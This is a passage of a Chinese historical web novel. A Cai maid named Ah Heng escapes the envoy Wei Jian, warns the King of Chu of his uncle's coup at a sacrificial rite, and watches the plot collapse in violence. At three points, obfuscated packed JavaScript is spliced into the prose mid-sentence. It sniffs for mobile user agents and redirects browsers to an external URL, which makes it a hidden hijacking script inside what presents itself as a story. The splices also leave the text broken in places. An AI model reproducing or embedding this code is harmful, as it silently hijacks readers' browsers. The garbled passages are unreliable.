她正牵挂阿姊，一个仆女在王帐边上探头探脑的张望，被侍卫喝止住。阿姮一看，是鹂阿姊身边的仆女，正焦灼的望着她。 阿姮心中一跳，忙给负责值守王帐的哑巴寺人连比划带说的解释，寺人不以为意的朝她摆了摆手，阿姮随仆女匆忙离开王帐。 仆女满脸惊慌，说：“我家夫人有急事找姑娘商量！姑娘快跟我来！” 昭伯和王叔度都到祭坛去了，阿姮不做他想，和仆女急急忙忙的赶往上回她和阿姊见面的树林。 沿途看不到一个宫女，她们不是在营房浆洗衣服，就是在祭坛下的庖厨帮助庖人准备夜间祭祀用的祭肉和酒酿。时有公卿大夫家的私卒在营帐间嬉笑打闹。他们的主人尚在恭恭敬敬的陪着楚王祭祀，他们就自顾饮酒作乐上了。 黑魆魆的树林里，站着一个人，听到动静转身过来。 阿姮大为意外，不是鹂阿姊，是本应被扣留在郢都传舍的蔡国副使，隗蹇。 仆女的嗓音发抖：“我已按你的吩咐把人带来！快放了我家——” 从她们身后突然跳出一个黑影，挥起手掌朝仆女后颈一砍，仆女口中刚吐出“夫人”二字，就软软的倒下去。 偷袭仆女的是隗蹇的仆人丈。 “隗大夫！你把我阿姊怎么了？”阿姮抱住晕倒的仆女，又惊又怒。 隗蹇把手一挥，丈不再出手袭击阿姮，跳到树木旁把风。 “阿姮！楚国马上就要大乱！你随我回蔡国去！”隗蹇掰开阿姮抱住仆女的手，抓起她的手腕站起来。 回蔡国去。 阿姮怔住。 蔡国没有她的家，她回不去了。可是，杀害父母和邻人的盗贼还没有被捉拿，她还没有为死去的冤魂报仇。 可是—— “您这是要逃走吗？”阿姮感到不可思议，摇头道，“申先生说，使臣只有完成国君的使命才能回国，楚晋相争，蔡国本来就难以得到一朝一夕的安稳，申先生还在想办法在楚王和晋国之间周旋，您怎能偷偷摸摸的走掉！还有，鹂阿姊呢？你到底把她怎么了！” 阿姮的目光在夜色下发亮，晶莹的眸间满是恼怒。 隗蹇痴迷的望着阿姮，听到“申先生”三个字，心中的嫉妒就像远处祭台上的火焰，蹭的一下窜起来。 她心里永远只有她的申先生。 “阿鹂好得很！你勿要为她担心。”隗蹇咬紧牙槽挤出几句话，试图打消阿姮的疑心。 “听说申叔偃在晋国朝堂左右逢源，日日笙歌燕舞，过得好不快活！他早把他的使命忘记了！阿姮，当时迫于无奈，让你顶替她人进了楚王宫，你不知道我心里有多难受，我无时无刻不想救你出来！” 隗蹇越说越激动，把她的手臂掐得死死的，不放她离开。 阿姮挣扎不过，气愤的说：“楚王没有允许使团离开郢都，你们谁都不能走！你们走了，楚王定会迁怒到申先生头上！” “楚王？”隗蹇恶毒的冷笑了一声，“实话告诉你吧，早在楚王出郢都巡狩的时候，我就暗中和楚王的叔父公子度达成了协定。就在今夜，王叔度会在祭典上杀掉楚王，我叫使团的随从在郢都里应外合，助王叔度攻占郢都。王叔度答应我，待他成为新的楚王，蔡国的过错一笔勾销，不再追究！” 阿姮震惊极了，隗蹇竟然不声不响的勾结了王叔度，还设下如此疯狂的圈套。 隗蹇得意的瞥了阿姮一眼，道：“你担心申叔偃还不如担心你自己！等王叔度杀了芈渊，自立为国君，楚王宫的女人都将被他占为己有，也包括你！” 这是王叔度这种人做得出来的事，阿姮的脸色变得苍白。她宁可永远活在楚王不屑的目光中，也不想让恶心的王叔度碰自己一下。 “王叔度来郢都的路上，我和他的使者就已秘密见过，王叔找我讨要你，”隗蹇怯懦的吞了吞口水，诱哄道，“不过阿姮你放心，我已严词拒绝了！趁楚国大乱我们赶紧离开，你跟我回蔡国，我的姐姐是蔡侯最宠爱的夫人，在蔡国都城没有人敢招惹我，你跟了我就有享不尽的荣华……” 隗蹇撒了谎。 他在和王叔度勾结时，曾许诺只要对方做了楚国国君，就将蔡国美人献给他。 王叔度要强占阿姮，他哪敢反对，唯一想到的法子就是拿阿鹂搪塞过去。反正等今夜过后，昭伯不死也会失势，就把阿鹂送给王叔度好了。蔡国宫廷鲜衣好食的供养这些乐伎，不就是叫她们伺候人的么，伺候谁不是伺候？ 而阿姮，隗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319386|167406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹇垂涎她的美貌，以前有申叔偃护着，他空有染指之心，不敢动她。后来他怀着对申叔偃的嫉恨和得不到便要毁掉的阴暗心思，将阿姮送入楚王宫。 得知阿姮没有得到楚王宠幸，隗蹇的一颗色心又蠢蠢欲动起来。趁这回楚国政变，他势必要得到她。只要他们顺利逃回蔡国，王叔度忙着坐稳王位分不开身，也只能作罢。 至于申叔偃。 一缕阴狠的笑容从隗蹇脸上稍纵即逝。 王叔度没有和晋国争斗的兴趣，芈渊一死，申叔偃无法再利用晋楚两国之间的矛盾从中周旋，如同乌龟被掀掉龟壳失去保护，到那时申叔偃就会沦为一枚弃子，只要稍微做个手脚就可以除掉他。 芈渊，申叔偃，都将死于他隗蹇的谋算。 隗蹇想得颇为畅快，情不自禁的伸出手，抚上阿姮的袖口。 少女单薄的手臂一片冰凉，在衣袖下隐隐发抖。 “隗大夫，”阿姮低下头，避开隗蹇灼人的视线，平静的说，“谢谢您的好意，我跟您走，您容我回去收捡一下衣物。” 隗蹇大喜，脱口：“还收拾什么！我们即刻动身！” 他朝不远处的丈低呼一声，令他去驾驭车马。 丈很快远去。 阿姮微微抬头，盯着隗蹇腰间的玉带，轻声说：“隗大夫，您放开我，我自己能走。” 隗蹇置若罔闻，拉着少女的衣袖把她往怀里揽，口中如痴醉了一般喃喃低语：“阿姮，你真是个可心的人儿……” 此处不是好时机，等他们上了路，他就纳阿姮为妾，真正的占有她。 隗蹇正想入非非，阿姮突然屈膝狠狠的朝他一撞！ 一股尖锐的巨痛如闪电一般劈中了他两腿之间的要害。 “啊！”隗蹇从喉咙里发出一声呜咽，痛苦的跪到地上，捧着肚子疼得直抽气。 阿姮僵硬的收回腿，她没想到楚王教她的智取之法威力如此强大。 她愣住一瞬，随即扭头就跑。 楚王不能死。 她要去告诉楚王，隗蹇和王叔度勾结，要加害他。 月亮升起来了，在树林里投下微弱的光芒。 隗蹇在她身后气急败坏的咒骂，虚弱的声音很快被她抛得远远的。 阿姮往光亮的方向跑，灌木挡住了她的路，她就踢开灌木，枝条上的尖刺扎痛了她的脸，她把枝条从面前掰开。 恍惚间，她仿佛又回到了她从小生活的村落，又回到了那个血色冲天的夜晚。 不同的是，这一回，她朝着火光的方向跑去。上一次，她是为了逃命。这一回，为了申先生，鹂阿姊，还有她自己。 她没有亲人了，只有他们是她在这个世上仅存的慰籍，她要她在乎的人好好的活着！ 终于，前方祭台上的焰火在她眼前越来越亮，巫人的舞乐声里，夹杂着乐人敲击编钟的悠扬礼乐，在空中回响。 执戟兵卒三三两两的立在祭台下，一簇簇火烛把他们手中的刀戟照得雪亮。 一切都清晰的出现在阿姮眼前。她松了一口气。 她实在跑不动了。她张了张嘴刚要喊出来，就惊恐的睁大眼睛，停住脚步。 祭台下除了执勤的王卒，还有一些同样披甲执锐的陌生面孔。 是王叔度带来的兵卒。 11. 第 11 章 祭台上，司巫正在为国君占卜。 被灼烧过的龟甲背上显现出几条走向各异的裂纹。这些纹路，被称之为“兆纹”。 芈渊位于上首，以一种板直又松懈的姿态坐在席上。 坐在他下首两侧的公卿大夫们，屏住呼吸，伸长脖子朝司巫手中托举的甲片看去。 王叔度带来的随侍寺人正跪在他身边躬身服侍，寺人瞥了一眼龟甲上的纹路，悄悄从袖中伸出手，以炭条在掌中写下一个字摊开到主人面前。 王叔度扫了一眼寺人的手掌，是“凶”。 又是凶兆。和他来郢都之前找庸地巫人占卜的结果一样。 王叔度肥腻的脸险些变色，转而一想，这是芈渊的卦象，他露出玩味的笑容，看向司巫：“卦象显示如何？” 按照他和隗蹇的约定，只要郢都城破，他的人即刻就会攻上祭台，拥立他为国君。 他会亲手杀掉芈渊，再夺了那个不识抬举的美人。 司巫一脸肃色，眉间的皱纹挤到了一起。 “大巫但说无妨。”芈渊温声开口，脸上没有任何表情。 他从不信占卜之言。四季轮回，日升月落，阴阳消长，世间万物有各自的规律，也充满变数，岂是一片龟甲能预料到的。 何况其中还有变化多端的人心。 于他而言，占卜问卦和兵车战甲一样，都只是威慑臣民使之顺服的手段而已。 在坐的公卿大夫均饱读诗书，虽然不如司巫精通占卜，但对卦象都略懂一二，大家也看出来了。 ——这是坎卦，又被称为血卦，是大凶之兆。 昭伯和景梁忍不住蹙眉，垂下眼眸，各有所思。 司巫将龟甲置于地上，缓缓开口：“这是坎卦，坎卦上下皆为水，水入于坎窞，陷于坑洼，前进困难重重，后退亦阻碍重重。从明面上看，卦象不祥。” 王叔度冷笑：“您莫不是老糊涂了？凶兆就是凶兆，明面上如此，实情也是如此！难道还要把甲片敲碎烧成灰再看？” 席间窸窣声顿起，有人交头接耳，有人点头附和王叔度的话。 “昔日文王作易经有云，卦象不祥皆因国君失德之故！”王叔度得意洋洋，说话越发没有忌惮。 “王叔僭越了！”景梁板着脸开口，转向楚王道，“大王勿忧，这一切都是因为大王年岁长成，但仍未能亲政的缘故！只要大王早日迎娶王后，乾位和坤位各得其所，困境自当迎刃而解！” “景大夫言之有理。”芈渊点头，似乎认同了他的话。 昭伯乜斜了景梁一眼，道：“依臣之见，吉凶相互依存，吉兆可能变成凶兆，凶兆也可能转变为吉兆。只要大王潜心修德，严于约束己身，并体恤子民，眼前的困顿并非不可逆转。” 芈渊颔首，说：“令尹之言，亦深得寡人之心。还望诸位大夫齐心协力，协助昭伯治理朝政，帮助寡人修习德行，壮大国家。” 众人神情各异，议论声如蜂虫嗡鸣。景梁一心让景氏女成为王后，以扩大景家的势力。昭伯只顾叫大王修德自省，还不是为了他自己能独揽大权？而年轻的王上，这个的话也听，那个的话也信，完全没有自己的主见。 王叔度愈加轻蔑，还要开口，芈渊屈指敲击桌案，说：“诸位不要争执，不妨听大巫把话说完。” 司巫再次对楚王行礼，道：“大王宽厚，不计较老叟刚才的直言冒犯。此卦明面不祥，实则不然，因为——我楚人的先祖已为我王降下吉兆，预示王上遇到的困难将被克服，危险也会得以化解。” 景梁气得想跳出来大骂，司巫这个老滑头，为了迎合国君，连已逝的先人都敢拿出来胡说。 “请问大巫，降下吉兆的是哪一位先祖呢？”王叔度亦是不悦，拖长声音发问。他已决定，杀了芈渊之后，把司巫一起做掉。 “王上的高祖父，也是王叔的曾祖，我楚国的先君武王。” 司巫此言一出，语惊四座，王叔度眼中闪过一丝惊惧，一脸淡然的昭伯也诧异的变了脸色。 楚武王是百年前楚国的一代雄主。在他之前，楚国国力低微，被周天子和中原诸侯瞧不起。周王分封天下，楚国的第一任国君仅被封为低等的子爵。周王宴请诸侯时，楚君连入席的资格都没有，只能为周王看守祭祀的火堆。 到了武王即位，赶上周王室衰落，他趁机吞并了南方的诸多小国，又远征东夷，使楚国发展壮大，成为南方最强大的国家。彼时的武王，在爵位上还只是“楚子”，他向周天子上书请求加封爵位，被天子拒绝。武王愤而自立为王，不再听从周王室号令。 楚国在武王的治理下，励精图治，日益强盛，从此被以晋国为首的北方诸国忌惮。 武王薨逝后，继任王位的几位先君秉承武王遗志，发奋图强，意欲称霸诸侯。然而，到了芈渊的祖父成王时，楚晋两国为争霸中原打了一场大仗，楚国战败元气大伤，从此停滞在北进中原的路上，距今又过去了几十年。 司巫搬出武王先君这座只可仰望的大山，大夫们大为震诧，忘了这是在国君面前，说话声渐渐大起来。 “大巫所说的吉兆应验在何处？” “谁人知晓，武王先君到底降下来什么好兆头？” 王叔度眼皮直跳，满脸的肥肉抖个不停。他对司巫的话既不敢相信，又不敢不信。 他受封的庸地，就是曾祖父武王从东夷人手里打下来的，也是先父成王命他去镇守的、用于抵御东夷人西进的要塞。 如今，那块承载先祖威名和心血的土地在他手上变成了什么样子，只怕芈渊都还不清楚。而曾祖父，父亲，还有那些先王们……他们仿佛一个个活了过来，在天上某个地方愤怒的盯着他，看他把大片土地拱手让给东夷人，看他行谋逆之事，这种感觉让他很不舒服。 不知郢都城里头为何还没有动静传来，王叔度愈加心烦意燥。 芈渊眸光淡漠，任凭诸大夫们窃窃私语，又将王叔度的坐立不安收入眼底。 他慢悠悠的拾起案桌上的酒爵。 酒爵是空的。 祭肉和祭酒刚刚供奉给列祖列宗，接下来，用清水调制过的酒水将被呈到他和一众公卿的席案上。 芈渊像摆弄箭簇一般，把铜爵托在手中把玩，唇边噙着一丝似笑似讥的笑意，抿唇不语。 景梁也不吭声，神色变得不太愉悦。他已大致猜出司巫所说的吉兆是什么。 楚王宫中历来由楚王后主理祭礼上的祭物和酒酿此类大事。大王还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319387|167406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有立后，他将女儿景稚安插到薄媪身边打理祭礼事宜，私心不言而喻。岂料薄媪老奸巨猾，阿稚年少气盛着了她的道，白白错失了今日的机会，反倒便宜了那个蔡女。 景梁思及此处，愈觉可恨、可气。 昭伯不知其中内情，猜度不出来，只能皱眉看向司巫，等他解卦。 司巫合手击掌，几个巫人手提铜卣，领着一队宫女应声走进来。 一股浓郁的酒香弥漫到殿中，和祭祀时闻到的祭酒的香气如出一辙，令人心醉神迷。 从上首的楚王到末席的下卿大夫，宫女们走过来分成两列排开，跽跪到席案旁，将酒从巫人手中的铜卣盛到酒爵中。 一双白嫩嫩的手臂伸到芈渊面前，停顿了一下，想把酒爵从他手中接过去。 芈渊愣住，微微掀起眼皮，看到一个本不应该出现在这里的人。 * “武王先君当年加尊号为王时，庖人为他酿造稻酒以作庆贺。大王和诸位大夫器中所盛之酒，就是用武王先君的酒酿之法所制，先君称王时饮用此酒，今日我王亦用此酒为祭！”司巫高亢的声音在大殿中响起。 席间哗然，纷纷低头看向自己面前的酒爵。 司巫看着众人震惊的表情，既心潮澎湃，又感慨万千。时人敬奉鬼神，他作为楚国的大巫，尤其看重上天和先人降下来的指示。 薄媪从郢都赶来祭台的那天晚上，他从薄媪口中得知，蔡女以武王时期的酒酿之法酿制出祭酒。司巫博览群书，记得简书中有过记载，卷中说武王先君称王时的酒曲酿制法早已失传。谁也没想到，失传的古法原来藏在一个废弃的酒罍里。 当时司巫深为惊讶，直觉这是先祖显灵，只是不知应验在何处。直到今夜在祭礼上，为大王卜出坎卦，他才恍然大悟。 大夫们只知道坎卦是血卦，是凶兆，却不知坎为血，亦为水。水有受困于局势无法流动之时，也拥有突破绝境冲出桎梏之力。如水流一般的酒液也是如此，虽受制于器皿的约束不得自由，却又能出入于天地，代替活着的人与鬼魂神交。 昭伯说对了一半，吉与凶，既相互依存，又可以相互转换。从百年前的祭酒重新被酿制出来的那一刻起，大王的坎卦已然逆转！ 王叔度盯着自己面前的酒液，又惊又疑。 一众大夫面对先王的遗迹，在肃然起敬之余，又忍不住和左右席附耳私语。 芈渊并不意外，其实刚才司巫在解卦时，他就已经料到了。 但是眼下，让他出乎意料的，是突然出现在他面前的，伸出手为他斟酒的蔡女。 “胡闹！”芈渊俊脸一沉，朝阿姮低声呵斥，“谁允许你到这里来的！” “大王！”阿姮借从楚王手中取酒爵的机会向他靠过去，也压低声音急迫的说，“王叔度没安好心！他要加害您！” 殿中，司巫还在继续：“这，就是先祖赐予我王的吉兆！” 他的吉兆？ 芈渊握着酒爵的手未动，洋溢满殿的酒香中，他闻到一股比稻酿还要清甜的气息。 大夫们的惊叹不绝于耳，司巫激动的话语声也还在大殿回响。从冕冠上垂下来的白玉旒珠在芈渊眼前微晃，他眯起眼睛，面无表情的凝视近前的少女。 12. 第 12 章 她脸上有几处细微的擦伤和污痕。焦急，害怕和惊慌，在她晶莹剔透的眼中展露无遗。 芈渊睥睨着深且长的眉眼，浅浅的动了动嘴角。 酒是她酿出来的，所谓吉兆是她带来的。 还傻乎乎的跑来，禀报一个他并不需要的消息。 面对蔡女的良苦用心，芈渊心中不无嘲谑，他若仍是毫不动容，给他降下吉兆的武王高祖恐怕能气得活过来。 也罢。 “为寡人斟酒。” 芈渊松开长指，酒爵落入阿姮手中。 “大王一刻也离不得美人相伴吗？这可是祭礼。”一道阴恻恻的声音从阿姮背后传过来。 说话的是王叔度。 跪在楚王身旁的曼妙背影，一眼就叫他认出是那个柔弱堪怜的蔡国美人。 美人和在祭台上劳役的宫女穿得一样，老旧的褐色裙裳，紧绷绷的不合她身，倒勾勒出一把细腰，朝楚王依偎过去，亲密之态令王叔度妒火丛生。 “的确不成体统，谄媚邀宠也要分场合。”景梁不悦的声音也冒出来。 酒爵在阿姮手中轻颤。 她摆脱隗蹇后，一路跑到祭台跟前，看到王叔度的人也在祭台下。她找不到可靠的人传递消息，又不敢声张，转身就去了祭台旁边的庖厨。 覃在庖厨帮庖人调和酒浆，阿姮央她把送酒酿的差事让给自己，覃打趣了她两句就爽快的答应了。两人互换了衣裳，覃跟随送赏赐的寺人去往公卿大夫们的营帐，帮她看看鹂阿姊可否安好。 阿姮跟在送酒的队伍里上了祭台。司巫说的话，她在殿外等候时都听见了。 她心急如焚，只想快些见到楚王，全然没考虑到在这里定然会遇到王叔度。这时听到他的声音，她浑身僵硬。那双阴鸷的眼睛就在她背后，正盯着她，似乎要把她的心思看穿。 绝不可以。 阿姮深吸了一口气，如同一个执戈待命的甲士，一节一节的直起脊梁，从容的，稳当当的，将酒倒入酒爵中。 一股熏甜的气息弥漫在她和楚王之间，酒液在铜爵中荡漾出涟漪，花纹很快散开，归于平静。 芈渊接过酒爵，手指轻擦过她的指头，细微的凉意从少女的指尖传递过来。她在这时抬起头，惶急之色从眼中消散，黑白莹润的眼睛深处仍然藏着一丝挥之不去的担忧。 何时轮到一个柔弱的女人为他担心？ 真是可笑。 芈渊如是想着，却没有如往常那般发出嗤笑。他把目光伸到她的眼睛里，无甚情绪的和她对视了一眼，旋即从席上起身，走向殿前。 喧哗的殿堂安静下来。 阿姮侧身仰望楚王，玄黑冕服下魁梧的身躯牢牢的立在阶上，如一块巨大的岩壁，遮住了她的视线，也将王叔度的目光和众人好奇的窥探挡得严严实实。 楚王听到她的话，眉毛都没有皱一下。 王叔度要造反。他其实……早就知道了吧？ 阿姮的心一半落了地，一半仍悬在半空，砰砰跳着，不知道什么时候会摔下来。 “先祖显灵为寡人降下吉兆，不止是寡人之幸，亦是吾国之幸。”芈渊一脸肃容，缓缓开口。 大夫们应和声如潮，纷纷伏跪下去。 “武王高祖以此卦告诫寡人与众卿，陷于坑洼之水流，克服重重阻碍，方能汇聚为江河！历经先祖荣光的楚人，当不负先王之志，不畏前途之艰，如江河奔流一往无前。寡人今日在此立誓——吾终有一日将率三军、御千乘、骑万匹，北进中原为天子驱除当道的豺狼，为先祖父报楚晋一战之仇，望诸君与寡人共勉！” 芈渊说完，将酒一饮而尽。 “吾王幸甚！吾国幸甚！”不知哪位卿士大夫起了个头，黑压压的匍匐了一大片冠帽的席间，很快又是一阵此起彼伏的逢迎声。 昭伯和景梁等几位上卿大夫神色各异，垂下头附和众人。 “众卿以为，武王先君的酒酿如何？”芈渊眉目平展，唇边噙起一丝薄薄的笑意。 众卿大夫们慌忙从案上举起铜爵，向王上致敬，又与左右席互相颔首致意。 夜宴伊始，司巫上前，请大王同他到殿前的露台观看星象。阿姮从芈渊手中接过酒爵，默默的缀在他身后。 王叔度眼风扫过阿姮，用力放下酒杯，冷哼道：“恕我直言，大王把征战想得太简单了。为了满足国君一人的逞强好勇之心，可知要耗去多少人力财物？人口、粮食和封地，哪一样不是在坐的诸位大夫累世所积？” 他的口气不是臣子对王上的态度，已然近乎于训责。 众人皆惊，心下却都在暗忖，王叔度这番话，实说到了他们的心坎上。这些楚国贵族拥有富庶的封地和华屋美婢，出则私兵开道，入则奴仆成群，世世代代过惯了安逸的日子，谁舍得将拥有的一切打破，仅为成就国君的霸业？ 阿姮偷瞄了一眼几步开外的颀硕身影，也不知道楚王听见没有。司巫约莫有些耳背，只顾着兴致勃勃的指点天上闪烁的群星给楚王看。 芈渊负手而立，顺着司巫的比划极目远望，一派慵懒。 席间陷入沉默，昭伯含笑打岔：“王叔醉了，大王岂是你我能非议的。” “既知晓不能非议国君，令尹阴阳怪气的，又是为哪般？”景梁不客气的回敬昭伯，全然忘了他自己也是一副阴阳怪气的口吻。楚王迟迟不愿立景氏女为后，此时被王叔度挑拨了几句，景梁也按捺不住脾气，忿忿不已。 “国君胸怀大志，自然是吾国臣民之福，”昭伯捋着短须，摇头淡笑，“不过，王上到底还是年轻了些……” 只要他们这些掌权的上卿大夫不应召不出兵，一个狂妄无知的少年国君能翻出多大的浪花？大不了，允他平日里多猎几只狐狸罢了。 看到众卿大夫们一脸若有所思的模样，王叔度暗暗自得，等他即位做了国君，多许给他们一些好处，不愁这些人不乖乖听话。 席间众人各怀心思，悠远的几声马匹嘶叫夹杂在浑厚的钟罄声里，从殿外隐隐约约的飘过来。不多时，飞驰的战车轱辘、兵卒急促的号令，还有刀戟相撞的脆响，由远及近传到祭台下，把夜空彻底搅得杂乱起来。 时辰已到。一直在留心外边动静的王叔度精神大振。 大夫们察觉出不对劲，惊诧的放下酒杯。 一队执戟甲士冲上祭台。 领头的甲士高喊：“有贼人意图在王城作乱，已被我等悉数斩杀！” 随后他手中一扬，一个圆球模样的不明物飞入殿中，弹跳了两下，径直滚到王叔度的席案前。 是一颗血淋淋的头颅，血污满面，眼眶凸起，还维持着死前的骇然模样。 阿姮双脚发软，直往露台边的栏杆靠过去。她身旁，就是用于供奉祭品的铜鼎。铜鼎下的火堆还在燃烧，围着铜鼎起舞的巫人停下脚步，他们脸上的漆彩面具红得像要流下血来，在火光的映照下，越发诡谲。 就像楚王令人猜不透的心思。 殿中异常安静，跪在王叔度身旁斟酒的宫女率先发出一声尖叫。 王叔度定睛一看，这颗头颅是他派去和隗蹇联络的使者。 他大惊而起，一脚踹开吓瘫在地的宫女。 顷刻间，钟鼓声大乱，乐人扔了锤棒直往殿外逃窜，宫女和寺人互相推搡，公卿大夫大声召唤私卒前来护卫。殿中之人不分贵贱，都像无头苍蝇似的奔逃开来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319388|167406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 同时又有更多的人涌上祭台。王叔度到底还是等到了他的人。他的私卒上来了，可惜是遭到王卒一味砍杀，被逼得逃上祭台来的。 王叔度暗骂“蠢物”，从他手底下的一个私卒手中夺过长戟，劈开乱跑的人群，直奔露台而来。 阴谋已败露，废话无需多说，只能与芈渊拼个你死我活。 “王叔度谋反！” “大王小心！” 乱了套的殿堂中，大夫们一边奔逃躲避，一边竭声高喊。好像他们叫的嗓门大些，国君就能脱离危险似的。 昭伯手中不知什么时候多出一柄剑，他提剑奔到芈渊身边，催促道：“大王乃万金之躯，不可被贼子所伤，快随臣避开！” 阿姮紧张的贴着栏杆，悬在半空的那半颗心，卡到了嗓子眼里，一呼一吸都甚是费力。 眼前混乱的人影中，只见昭伯靠近楚王，昭伯的脸离火鼎更近了。火光飘摇之下，昭伯的脸上也像戴了幅面具，泛着混沌的血红色，神色模糊的令人看不清。 芈渊眼中清明，平静的望向昭伯。 少年什么也没做，什么话也没说，昭伯心中却突然生出莫大的恐惧。 “走水了！走水啦！”惊慌的叫声炸开夜空。 昭伯疾步走向栏杆边，双目圆睁，远眺过去。 黑色天幕下，远处的营帐冒起火光。 火势四起，照亮了营盘。王叔度的人马在营间横冲直撞，大夫们的私卒不堪一击，纷纷倒地，楚王的王卒来回冲杀，在不遗余力的“平叛”。 祭台，营帐，都是楚王的猎场。 楚王从来不是他以为的无知少年，他们才是猎物。 “原来如此……”昭伯脸色惨白。 另外一个猎物还在做困兽之斗。 王叔度被甲士以戟做笼，密不透风的团团围住。他挣扎不过，继而破口大骂，对着面无人色的卿大夫们大叫：“尔等还在犹豫什么？由这无知小儿祸害楚国么！” 死到临头，还想煽风点火。 芈渊勾唇嗤了一声。 “庸地的城池、东方的土地，皆为吾国历代先王苦心经营所得，哪一样不是断送在你的手里！将卒听令！将此贼的头颅砍下！祭奠列祖列王！” 芈渊冰冷的声音穿透殿堂，直指王叔度。 原来他什么都知道！王叔度面孔扭曲，眼中又是惊骇又充满怨毒。 甲士将长戟戳进王叔度的身体。 王叔度状若癫狂，“嗬嗬”嚎叫着，使出最后的力气将手中半截铜戟朝芈渊掷去！ 在众人的惊呼声中，头戴面具的巫人迅速集结，挡在楚王身前，一个高壮如山的巫人大喝一声，甩开手臂震飞铜戟。 这些巫人，居然是王卒所扮。 原来，大王早就布下了今日的杀局。大夫们惶惶的瘫倒在地，谁也不敢再乱跑乱叫，唯恐惹得大王讨嫌，把他当成王叔度的同党一起杀了。 铜戟稍偏，不带片刻停留朝一旁的栏杆砸过去。 阿姮眼睁睁的看长戟飞来，脑中一片空白。 一道黑影快如闪电跃至她身前，伸手拉住她的手腕，将她猛地拽到身边。 “轰”的一声，不知铜戟砸到了谁，惨烈的叫声从高空向下坠去，不多时便死气沉沉的砸到地面上。 阿姮晕头转向，失神的盯着眼前乌黑的一角衣袍，唯紧紧拽住那人的衣襟。 “松手。” 她害怕极了，反而抓得更紧。 “把手松开，听到没有。”楚王在她耳边低声呵叱。 阿姮身子一抖，惶然抬头，楚王冕冠上的旒珠断了线，铺天盖地洒落下来，在她眼前落下一阵玉白的雨。 13. 第 13 章 她的手死死拽着的，原来是楚王腰间的衣带。再不松开，楚王的下裳就被她扯下来了。 阿姮惊得连忙撒开手。 强壮的臂膀悄无声息的从她的后腰撤了回来。腿脚尚无力的少女踉跄着，滑坐到地上，惊魂未定。 芈渊收回手臂，将破损的九旒冕从头上扯下来。不等他扔到地上，阿姮慌忙伸手接住冕冠。 “留下几人协助大巫。”芈渊命令扮作巫人的王卒，随即率剩下的甲士下了祭台。 大夫们呆住片刻，终于醒过来神，口中喊着“王上！大王！”，连滚带爬的跟了出去。 转瞬间，凌乱的祭台上就只剩下横七竖八的死尸，以及王叔度被砍掉头颅的躯体，楚王赐给他的黑色冕服被血水浸染得乌七八糟。 王卒将王叔度的尸身扔进铜鼎，请司巫接着祭祀。 人牲和人祀盛行于前朝殷商，周王室和当今的诸侯列国，包括楚国在内，早已废除了这一残忍的礼法。司巫活了这么久，也没拿人祭祀过，即便是个死人。 他目瞪口呆，过了半晌，才颤颤巍巍的道：“那便将他烹给武王和成王……” 鼎中散发出难闻的焦臭。 也不知道武王和成王两位先王咽不咽得下去。阿姮屏住呼吸强忍恶心，把从楚王冕冠上掉落的旒珠一颗一颗的捡起来。 铜鼎附近的木头栏杆破了个大口子，铜戟砸过来的那一刻，楚王拉了她一把，让她躲过了那一击。而没能躲开，被戟砸中的那人，应是昭伯。 鹂阿姊…… 阿姮猛地起身，跑到尚且完好的露台一角，张望下去。 祭台下亦是一片狼藉。楚国的令尹昭伯，趴在血水里，一动不动，已然气绝。 此时天色渐明，群星从蟹青色的天空隐去。 远处营帐的火已扑灭，大夫们的营房被烧得千疮百孔，有的甚至夷为平地。幸存的人被王卒驱赶到帐外，惊恐的，茫然的，挤在一起站着。 楚王出现在营帐对面的小土坡上。景梁等人伏跪在他身前。 不断有人被王卒从营间拉出来，有的被捆缚住丢到兵车上，有的被就地格杀。 直到王卒从营帐旁的树林里扛出来一个女子模样的人，阿姮眼睛一缩，辨认出来那就是鹂阿姊。她哭着在王卒肩上挣扎，被王卒像扔货物一样摔到兵车上。 阿姊！ 阿姮起身就要往祭台下走。 这时，覃冲进来，喘得上气不接下气，“阿姮！鹂夫人被抓、抓起来了！”她拼命的跟阿姮招手，陡然发现祭台上除了她和阿姮，还有几个王卒，连司巫也在。 覃的手僵在半空中，话也说不出来。 “我看到了！”阿姮跑上前扶住她，连声发问，“是因为令尹么？令尹也与王叔度勾结谋反？” “我不知，”覃摇头，只见王卒们搬运尸体下了祭台，她才接着说，“昨夜你叫我去鹂夫人那里看一眼，我和寺人到令尹营帐的时候，鹂夫人不在，我四处找也没找到。哪晓得后来就乱了，鹂夫人被寻到的时候，和你们蔡国使团的人在一处。鹂夫人说，她是被人诓骗过去的……” 